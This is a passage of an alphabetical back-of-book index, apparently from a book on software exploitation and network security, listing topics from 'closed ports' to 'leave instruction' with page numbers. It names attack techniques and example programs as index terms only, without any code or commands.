closed ports, response with SYN/ACK packets, 268 cmp operation, 26, 32, 310, 311 code segment, 69 CodeRed worm, 117, 319 command line, Perl to execute instructions, 133 command prompt, indicator of background jobs, 332 command-line arguments, 58–61 commandline.c program, 58–59 commands running single as root user, 88 substitution and Perl to generate buffer overflows, 134–135 comments, in C program, 19 comparison operators, 14–15 compiled code, 20 compiler, 7 computational power, vs. storage space, 424 computational security, 396 conditional probability, 114 conditional statements, variables in, 14 confusion, 399 connect() function, 199, 213, 314 connect-back shellcode, 314–318 connectback-shell.s program, 314–315 connectivity, ICMP to test for, 221 constants, 12 constructors (.ctors), table sections for, 184–188 convert.c program, 59–60 Copyright Act, 118 core dump, 289 Counter (ECX) register, 24 countermeasures for attack detections, 320 buffer restrictions, 363–376 hardening, 376 log files and, 334–336 nonexecutable stack, 376–379 overlooking obvious, 336–347 system daemons, 321–328 tools, 328–333 crackers, 3

I N D EX

457

crash, 61, 128 from buffer overflow, 120 and client_addr_ptr, 353 by DoS attacks, 251 from out-of-bound memory addresses, 60 CRC32 (cyclic redundancy checksum) function, 434 criminal activity, 451–452 crypt() function, 153, 418 salt values, 423 cryptanalysis, 393 crypt_crack.c program, 420 cryptography, 393 laws restricting, 3 cryptology, 393 crypt_test.c program, 418 .ctors (constructors), table sections for, 184–188 curly braces ({ }), for set of instructions, 8, 9 current_time variable, 97 custom signal handlers, 322 cut command, 143–144 cyclic redundancy checksum (CRC32) function, 434 Cynosure, 118

D daemon() function, 321

daemons, 321 Data (EDX) register, 24, 361 data integrity, programmer responsibility for, 119 data segment, 69 for C variable storage, 75 data types, of variables, 12 datafile buffer, 151–152 datagram socket, 198 data-link layer (OSI), 196, 197 for web browser, 217, 218–219 datatype_sizes.c program, 42–43 DCMA (Digital Millennium Copyright Act) of 1998, 3 debuggers, 23–24 declaring destructor function, 184 functions with data type of return value, 16–17 heap variable, 76
458
I ND EX

stack variable, 76 variables, 12 decode_ethernet() function, 237 decode_ip() function, 237 decode_sniff.c file, 235–239 decode_tcp() function, 236, 237 decoherence, 399 default gateway, ARP redirection and, 241 Denial of Service (DoS), 251–258 amplification attacks, 257 distributed DoS flooding, 258 ping flooding, 257 ping of death, 256 SYN flooding, 252–256 teardrop, 256 dereference operator, 47 loading address of, 297 DES, 398 Destination Index (EDI) register, 24 destructors (.dtors) displaying contents, 185 overwriting section with address of injected shellcode, 190 table sections for, 184–188 Deutsch, Peter, 2 dictionary attacks, 419–422 dictionary tables, IV-based decryption, 438 diffusion, 399 Digital Millennium Copyright Act (DCMA) of 1998, 3 direct parameter access, 180–182 directory, for include files, 91 Dissembler, 454 distributed DoS flooding, 258 division, remainder after, 12 DNS (Domain Name Service), 210 dollar sign qualifier ($), and direct parameter access, 180 DoS. See Denial of Service (DoS) dotted-number notation, 203 double word (DWORD), 29 converting to quadword, 302 drop_privs.c program, 300 dsniff program, 226, 249, 454 .dtors (destructors) displaying contents, 185 overwriting section with address of injected shellcode, 190 table sections for, 184–188

dtors_sample.c program, 184 dump() function, 204 dup2 system call, 307 DWORD (double word), 29 converting to quadword, 302

E
EAX (Accumulator) register, 24, 312, 346 zeroing, 368 EBP (Base Pointer) register, 24, 31, 70, 73, 344–345 saving current values, 342 EBX (Base) register, 24, 312, 344–345 saving current values, 342 ec_malloc() function, 91 ECX (Counter) register, 24 EDI (Destination Index) register, 24 EDX (Data) register, 24, 361 EFLAGS register, 25 EIP register. See Instruction Pointer (EIP) register elegance, 2, 6 encapsulation, 196 encoded_sockreuserestore_dbg.s file, 360–361 encryption, 393 asymmetric, 400–405 maximum allowable key size in exported software, 394 symmetric, 398–400 wireless 802.11b, 433–436 env command, 142 environment variables, 142 displaying location, 146 for exploiting, 148 PATH, 172 placing shellcode in, 188 randomization of stack location, 380 for storing string, 378 epoch, 97 equal to operator (==), 14 error checking, for malloc(), 79, 80–81 errorchecked_heap.c program, 80–81 errors, off-by-one, 116–117 escape sequences, 48 escaped character, backslash (\) for, 180

ESI (Source Index) register, 24 ESP (Stack Pointer) register, 24, 33, 70, 73 shellcode and, 367 /etc/passwd file, 89, 153 /etc/services file, default ports in, 207–208 ETHERhdr structure, 245–246 Ethernet, 218, 230 header for, 230 length of, 231 Euclidean algorithm, 400–401 extended, 401–402 Euler’s totient function, 400, 403 examine command (GDB) for ASCII table lookup, 34–35 to display disassembled instructions, 30 display unit size for, 28–29 for memory, 27–28 exclamation point (!), 14 execl() function, 149, 389, 390 execle() function, 149 exec_shell.c program, 296 exec_shell.s program, 297 executable binaries, 21 creating from assembly code, 286 execute permission, 87 execution flow, controlling, 118 execution of arbitrary code, 118 execve() function, 295–296, 388–389 structure for, 298 exhaustive brute-force attacks, 422–423 exit, automatically executing function on, 184 exit() function, 191, 286 address of, 192 exploit buffer, 332 exploit programs, 329 exploit scripts, 328–333 exploit tools, 329 exploitation, 115 with BASH, 133–150 buffer overflows, 119–133 format strings, 167–193 direct parameter access, 180–182 reading from arbitrary memory addresses, 172
I N D EX

459

exploitation, continued format strings, continued with short writes, 182–183 vulnerability, 170–171 writing to arbitrary memory addresses, 173–179 general techniques, 118 heap-based overflow, 150–155 jackpot() function as target, 160–166 overflowing function pointers, 156–167 overwriting global offset table, 190–193 without log file, 352–354 exploit_notesearch.c program, 121 exploit_notesearch_env.c program, 149–150 extended Euclidian algorithm, 401–402

F fatal errors, displaying, 228 fatal() function, 83, 91 fcntl_flags.c program, 85–86 fcntl.h file, 84 Feistel network, for DES, 399 Felten, Edward, 3 fencepost error, 116 ffp, 454 fg (foreground) command, 158, 332 fgets() function, 419 field-width option, for format parameter, 49 file access, in C, 81–86 file descriptors, 81 duplicating standard, 307–309 in Unix, 283 File Not Found HTTP response, 213 file permissions, 87–88 File Transfer Protocol (FTP), 222 server, 226 filestreams, 81 FILO (first-in, last-out) ordering, 70 filter, for packets, 259 FIN scans, 264–265 after kernel modification, 268 before kernel modification, 267–268 find_jmpesp.c program, 386
460
I ND EX

fingerprints fuzzy, 413–417 host, for SSH, 410–413 firewalls, and port-binding shellcode, 314 first-in, last-out (FILO) ordering, 70 firstprog.c program, 19 float data type, 12, 13, 43 flood services, by DoS attacks, 251 flow of execution, operations controlling, 26 Fluhrer, Mantin, and Shamir (FMS) attack, 439–449 fms.c program, 443–445 fmt_strings.c program, 48–49 fmt_uncommon.c program, 168 fmt_vuln.c program, 170–171 fopen() function, 419 for loops, 10–11 with assembly instructions, 309–310 to fill buffer, 138 foreground (fg) command, 158, 332 forging source address, 239 fork() function, 149, 346 format parameters, 48 format strings, 167–193 memory for, 171 for printf() function, 48–51 short writes for exploits, 182–183 simplifying exploits with direct parameter access, 180–182 vulnerability, 170–171 FP (frame pointer), 70 fprintf() function, for error messages, 79 fraggle attacks, 257 fragmenting packets, 221 IPv6, 256 frame pointer (FP), 70 free() function, 77, 79, 152 free speech, 4 FTP (File Transfer Protocol), 222 server, 226 funcptr_example.c program, 100 functionality, expansion, and errors, 117 functions, 16–19 automatically executing on exit, 184 breakpoint in, 24

declaring as void, 17 for error checking, 80–81 libraries of, 19 local variables for, 62 memory, string pointer referencing, 228 pointers, 100–101 calling without overwriting, 157 overflowing, 156–167 prologue, 27, 71, 132 saving current register values, 342 prototype, 17 for string manipulation, 39 fuzzy fingerprints, 413–417

gethostbyname() function, 210, 211 getuid() function, 89, 92

G game_of_chance.c program, 102–113, 156–167 gateway, 241 GCC. See GNU Compiler Collection (GCC) GCD (greatest common divisor), 401 GDB debugger, 23–24 address-of operator, 45 analysis with, 273–275 to control running tinywebd process, 350–352 to debug daemon child process, 330–331 disassembly syntax, 25 displaying local variables in stack frame, 66 examine command for ASCII table lookup, 34–35 to display disassembled instructions, 30 for memory, 27–28 investigating core with, 289–290 investigations with, 380–384 print command, 31 shorthand commands, 28 stepi command, 384 .gdbinit file, 25 general-purpose registers, 24 GET command (HTTP), 208 getenv() function, 146 getenvaddr.c program, 147–148, 172 geteuid() function, 89

Glen, Peter, 454 glibc, heap memory management, 152 global offset table (GOT), overwriting, 190–193 global variables, 63, 64, 75 memory addresses, 69 memory segment for, 69 GNU Compiler Collection (GCC), 20. See also GDB debugger compiler, GDB access to source code, 26 objdump program, 21, 184, 185 Goldberg, Ian, 394 GOT (global offset table), overwriting, 190–193 greater than operator (>), 14 greater than or equal to operator (>=), 14 greatest common divisor (GCD), 401 Greece, ancient, 3 grep command, 21, 143–144 to find kernel code sending reset packets, 267 Grimes, Mark, 242, 454 groups, file permissions for, 87 Grover, Lov, 399–400

H
Hacker Ethic, 2 hacking, 272–280 analysis with GDB, 273–275 attitudes toward, 451 and compiled program, 21 cycle of innovation, 319 essence of, 1–2 origins, 2 port-binding shellcode, 278–280 as problem solving, 5 and program crash control, 121 hacking.h file, adding to, 204 hacking-network.h file, 209–210, 231, 232, 272–273 hacks, 6 half-open scan, 264 handle_connection() function, 216, 342 breakpoint in function, 274–275 handle_shutdown() function, 328
I N D EX

461

hardware addresses, 218 hash lookup table, 423–424 head command, 143–144 HEAD command (HTTP), 208 heap, 70 allocation function for, 75 buffer overflows in, 150–155 growth of, 75 memory allocation, 77 variable declaring, 76 space allocated for, 77 heap_example.c program, 77–80 Heisenberg uncertainty principle, 395 “Hello, world!”, program to print, 19 helloworld1.s program, 287–288 helloworld3.s program, 294 helloworld.asm program, 285–286 helloworld.c, rewrite in assembly, 285 Herfurt, Martin, 256 hexadecimal dump, of standard shellcode, 368 hexadecimal notation, 21 high-level languages, conversion to machine language, 7 Holtmann, Marcel, 256 host fingerprints, for SSH, 410–413 host key, retrieving from servers, 414 host_addr structure, for bind call, 205 hostent structure, 210–211 host_lookup.c file, 211–212 htonl() function, 202 htons() function, 203, 205 HTTP (Hypertext Transfer Protocol), 197, 207–208, 222 hybrid ciphers, 406–417 Hypertext Transfer Protocol (HTTP), 197, 207–208, 222

I
ICMP. See Internet Control Message Protocol (ICMP) id command, 88 idle scanning, 265–266 IDS (intrusion detection systems), 4, 354 if statement, in BASH, 381 ifconfig command, 316 for promiscuous mode setting, 224
462
I ND EX

if-then-else structure, 8–9 in assembly language, 32 in_addr structure, 203 connection IP address in, 315–316 inc operation, 25, 36 include file, for functions, 91 incoming connection C function to accept, 199 listening for, 316 incrementing variable values, 13–14 inet_aton() function, 203 inet_ntoa() function, 203, 206 info register eip command, 28 information theory, 394–396 initialization vector (IV) gathering, 449 for WEP, 434, 437, 440 decryption dictionary tables based on, 438 input, length check or restriction on, 120 input size, for algorithm, 397 input validation, 365 input.c program, 50 input_name() function, 156 Instruction Pointer (EIP) register, 25, 27, 40, 43, 69, 73 assembly instructions and, 287 crash from attempt to restore, 133 examining memory for, 28 as pointer, 43 program execution and, 69 shellcode and, 367 int data type, 12 int instruction, 285 integers, function for converting ASCII to, 59 Intel syntax for assembly language, 22, 23, 25 Internet Control Message Protocol (ICMP), 220–221 amplification attacks with packets, 257 echo messages, 256 Echo Request, 221 Internet Datagram header, 232 Internet Explorer, zero-day VML vulnerability, 119 Internet Information Server (Microsoft IIS), 117

Internet Protocol (IP), 220 addresses, 197, 220 conversion, 203 data-link layer and, 218–219 in logs, 348 redirection, 438–439 spoofing logged, 348–352 IDs, predictable, 265 structure, 231 interrupt 0x80, 285 intrusion detection systems (IDS), 4, 354 intrusion prevention systems (IPS), 354 intrusions log files and detection, 334–336 overlooking obvious, 336–347 IP. See Internet Protocol (IP) IPS (intrusion prevention systems), 354 iptables command, 407 IPv6 packets, fragmented, 256 IV. See initialization vector (IV)

L
LaMacchia, David, 118 LaMacchia Loophole, 117–118 Laurie, Adam, 256 LB (local base) pointer, 70 lea (Load Effective Address) instruction, 35, 296 least significant byte, 174, 178 leave instruction, 132 less than operator (